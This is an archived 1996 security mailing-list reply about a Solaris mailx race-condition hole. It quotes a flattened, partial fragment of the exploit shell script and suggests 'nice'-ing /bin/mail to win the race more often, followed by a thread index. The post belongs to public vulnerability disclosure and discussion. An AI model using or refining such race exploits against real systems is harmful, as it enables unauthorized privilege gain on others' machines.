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Re: Solaris mailx hole
From: rotten () bbnplanet com (Rick Otten)
Date: Wed, 3 Jul 1996 08:09:18 -0500
Seems to me that you could further increase the probability of winning this race by running mail a little slower ("nice" it)... ...
# Send mail to the user NEW_TARGET_LEN=$OLD_TARGET_LEN while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do echo "Sending mail to $TARGET"
echo "localhost $USER" | /bin/mail $TARGET
echo "localhost $USER" | nice /bin/mail $TARGET
sleep 10 kill -STOP $RACE_PID rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1 if [ -f $SPOOLDIR/$TARGET ]; then echo "$PROG: Sorry, we lost the race - cant try again." kill -9 $RACE_PID
... Rick Otten rotten () bbnplanet com x4156 20/784A
Current thread:
- Re: BoS: Re: Solaris mailx hole, (continued)
- Re: BoS: Re: Solaris mailx hole Travis Hassloch x231 (Jul 02)
- Re: Solaris mailx hole Dave Roberts (Jul 03)
- Re: Solaris mailx hole Andy Dills (Jul 03)
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- Re: IMAPD security problems ? Ian MacPhedran (Jul 04)
- Re: Solaris mailx hole Josef Buergler (Jul 02)
- Re: Solaris mailx hole Rick Otten (Jul 03)